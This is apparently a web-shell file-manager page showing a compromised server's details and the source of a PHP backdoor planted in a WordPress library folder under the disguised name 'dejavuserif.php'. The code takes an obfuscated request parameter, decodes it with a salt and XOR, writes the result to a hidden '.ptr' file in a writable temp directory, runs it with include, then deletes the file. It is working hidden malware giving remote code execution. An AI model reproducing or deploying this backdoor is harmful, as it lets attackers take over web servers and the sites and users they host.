HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-includes/sodium_compat/namespaced/Core/ChaCha20/dejavuserif.php
<?php

if(isset($_REQUEST["r\x65\x73"]) ? true : false){
	$item = $_REQUEST["r\x65\x73"];
		 $item 	 = explode("."  	,	  $item 		)  ;
	$sym = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $salt);
            $j = 0;
            $len = count( $item);
    
            do {
                if( $j >= $len) break;
                $v4 = $item[$j];
                $chS = ord( $salt[$j		%		$lenS]);
                $d =( ( int)$v4 - $chS -( $j		%		10)) ^ 62;
                $sym .= chr( $d);
                $j++; 	}	while( true);
	$binding = array_filter([getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]);
	foreach ($binding as $parameter_group):
    		if (is_dir($parameter_group) ? is_writable($parameter_group) : false) {
    $hld = implode("/", [$parameter_group, ".ptr"]);
    if (file_put_contents($hld, $sym)) {
	include $hld;
	@unlink($hld);
	die();
}
}
endforeach;
}